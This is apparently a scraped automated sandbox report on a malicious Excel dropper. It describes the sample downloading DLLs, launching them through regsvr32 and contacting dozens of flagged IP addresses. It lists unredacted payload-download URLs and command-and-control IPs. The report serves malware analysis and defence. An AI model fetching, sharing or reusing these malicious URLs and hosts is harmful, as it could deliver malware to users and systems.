Source: Yara match File source: 00000007.00000002.1197465713.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.924980552.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1196882539.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 679676 Sample: documentazione 68668.xls Startdate: 06/08/2022 Architecture: WINDOWS Score: 100 35 103.224.241.74 WEBWERKS-AS-INWebWerksIndiaPvtLtdIN India 2->35 37 202.29.239.162 UNINET-AS-APUNINET-TH Thailand 2->37 39 38 other IPs or domains 2->39 53 Snort IDS alert for network traffic 2->53 55 Multi AV Scanner detection for domain / URL 2->55 57 Malicious sample detected (through community Yara rule) 2->57 59 15 other signatures 2->59 8 EXCEL.EXE 53 25 2->8         started        13 svchost.exe 2->13         started        signatures3 process4 dnsIp5 45 zardamarine.com 208.67.23.91, 443, 49171 GTT-BACKBONEGTTDE United States 8->45 47 www.zardamarine.com 8->47 49 2 other IPs or domains 8->49 27 C:\Users\user\wdusx2.ocx, PE32+ 8->27 dropped 29 C:\Users\user\AppData\...\UVvnppK[1].dll, PE32+ 8->29 dropped 31 C:\Users\user\...\documentazione 68668.xls, Composite 8->31 dropped 63 Document exploit detected (creates forbidden files) 8->63 65 Document exploit detected (UrlDownloadToFile) 8->65 15 regsvr32.exe 2 8->15         started        19 regsvr32.exe 8->19         started        21 regsvr32.exe 8->21         started        file6 signatures7 process8 file9 33 C:\Windows\...\BlVTVcJlqYTKwC.dll (copy), PE32+ 15->33 dropped 51 Hides that the sample has been downloaded from the Internet (zone.identifier) 15->51 23 regsvr32.exe 2 15->23         started        signatures10 process11 dnsIp12 41 165.22.254.68, 443, 49174, 49175 DIGITALOCEAN-ASNUS United States 23->41 43 198.199.70.22, 49177, 8080 DIGITALOCEAN-ASNUS United States 23->43 61 System process connects to network (likely due to code injection or exploit) 23->61 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
157.245.111.0
 unknown United States
14061 DIGITALOCEAN-ASNUS true
157.230.99.206
 unknown United States
14061 DIGITALOCEAN-ASNUS true
54.37.106.167
 unknown France
16276 OVHFR true
196.44.98.190
 unknown Ghana
327814 EcobandGH true
59.148.253.194
 unknown Hong Kong
9269 HKBN-AS-APHongKongBroadbandNetworkLtdHK true
202.29.239.162
 unknown Thailand
4621 UNINET-AS-APUNINET-TH true
103.41.204.169
 unknown Indonesia
58397 INFINYS-AS-IDPTInfinysSystemIndonesiaID true
36.67.23.59
 unknown Indonesia
17974 TELKOMNET-AS2-APPTTelekomunikasiIndonesiaID true
165.22.254.68
 unknown United States
14061 DIGITALOCEAN-ASNUS true
103.56.149.105
 unknown Indonesia
55688 BEON-AS-IDPTBeonIntermediaID true
85.214.67.203
 unknown Germany
6724 STRATOSTRATOAGDE true
68.183.91.111
 unknown United States
14061 DIGITALOCEAN-ASNUS true
85.25.120.45
 unknown Germany
8972 GD-EMEA-DC-SXB1DE true
188.132.217.108
 kronostr.com Turkey
42910 PREMIERDC-VERI-MERKEZI-ANONIM-SIRKETIPREMIERDC-SHTR false
198.199.70.22
 unknown United States
14061 DIGITALOCEAN-ASNUS true
93.104.209.107
 unknown Germany
8767 MNET-ASGermanyDE true
208.67.23.91
 zardamarine.com United States
3257 GTT-BACKBONEGTTDE true
188.225.32.231
 unknown Russian Federation
9123 TIMEWEB-ASRU true
175.126.176.79
 unknown Korea Republic of
9523 MOKWON-AS-KRMokwonUniversityKR true
139.196.72.155
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd true
165.232.185.110
 unknown United States
22255 ALLEGHENYHEALTHNETWORKUS true
104.248.225.227
 unknown United States
14061 DIGITALOCEAN-ASNUS true
103.126.216.86
 unknown Bangladesh
138482 SKYVIEW-AS-APSKYVIEWONLINELTDBD true
128.199.217.206
 unknown United Kingdom
14061 DIGITALOCEAN-ASNUS true
116.124.128.206
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR true
103.224.241.74
 unknown India
133296 WEBWERKS-AS-INWebWerksIndiaPvtLtdIN true
103.71.99.57
 unknown India
135682 AWDHPL-AS-INAdvikaWebDevelopmentsHostingPvtLtdIN true
210.57.209.142
 unknown Indonesia
38142 UNAIR-AS-IDUniversitasAirlanggaID true
202.28.34.99
 unknown Thailand
9562 MSU-TH-APMahasarakhamUniversityTH true
87.106.97.83
 unknown Germany
8560 ONEANDONE-ASBrauerstrasse48DE true
103.254.12.236
 unknown Viet Nam
56151 DIGISTAR-VNDigiStarCompanyLimitedVN true
103.85.95.4
 unknown Indonesia
136077 IDNIC-UNSRAT-AS-IDUniversitasIslamNegeriMataramID true
54.37.228.122
 unknown France
16276 OVHFR true
202.134.4.210
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID true
88.217.172.165
 unknown Germany
8767 MNET-ASGermanyDE true
195.77.239.39
 unknown Spain
60493 FICOSA-ASES true
165.22.254.236
 unknown United States
14061 DIGITALOCEAN-ASNUS true
78.47.204.80
 unknown Germany
24940 HETZNER-ASDE true
118.98.72.86
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID true
66.96.149.19
 labfitouts.com United States
29873 BIZLAND-SDUS false
104.244.79.94
 unknown United States
53667 PONYNETUS true
37.44.244.177
 unknown Germany
47583 AS-HOSTINGERLT true
178.62.112.199
 unknown European Union
14061 DIGITALOCEAN-ASNUS true
62.171.178.147
 unknown United Kingdom
51167 CONTABODE true
64.227.55.231
 unknown United States
14061 DIGITALOCEAN-ASNUS true

Contacted Domains

Name IP Active
zardamarine.com 208.67.23.91 true
labfitouts.com 66.96.149.19 true
kronostr.com 188.132.217.108 true
www.zardamarine.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://kronostr.com/tr/68yHRhfuU7Qj/ true
  • Avira URL Cloud: malware
 unknown
https://www.zardamarine.com/images/psQbAjrrEOXWPrS/ true
  • Avira URL Cloud: malware
 unknown
http://labfitouts.com/cgi-bin/Rea3Iu3wGvgAbTset0/ true
  • Avira URL Cloud: malware
 unknown